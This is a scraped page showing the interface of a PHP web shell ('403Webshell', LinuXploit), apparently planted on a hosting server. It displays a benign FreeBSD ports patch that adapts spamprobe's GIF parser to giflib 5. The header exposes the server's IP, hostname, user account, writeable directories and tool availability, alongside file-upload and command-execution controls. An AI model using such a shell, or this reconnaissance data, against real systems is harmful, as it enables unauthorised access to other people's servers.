403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.238
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/mail/spamprobe/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/mail/spamprobe/files/patch-src_parser_GifParser.cc
--- src/parser/GifParser.cc.orig	2006-11-17 07:24:49 UTC
+++ src/parser/GifParser.cc
@@ -81,7 +81,11 @@ GifParser::GifParser(Message *message,
 GifParser::~GifParser()
 {
   if (m_gif) {
+#if GIFLIB_MAJOR == 5 && GIFLIB_MINOR >= 1 || GIFLIB_MAJOR > 5
+    DGifCloseFile(m_gif, NULL);
+#else
     DGifCloseFile(m_gif);
+#endif
   }
 }
 
@@ -99,7 +103,11 @@ bool GifParser::parseImage()
 void GifParser::openImage()
 {
   m_nextByteIndex = 0;
+#if GIFLIB_MAJOR >= 5
+  m_gif = DGifOpen(this, readFromBuffer, NULL);
+#else
   m_gif = DGifOpen(this, readFromBuffer);
+#endif
   if (!m_gif) {
     throw runtime_error("open gif failed");
   }

Youez - 2016 - github.com/yon3zu
LinuXploit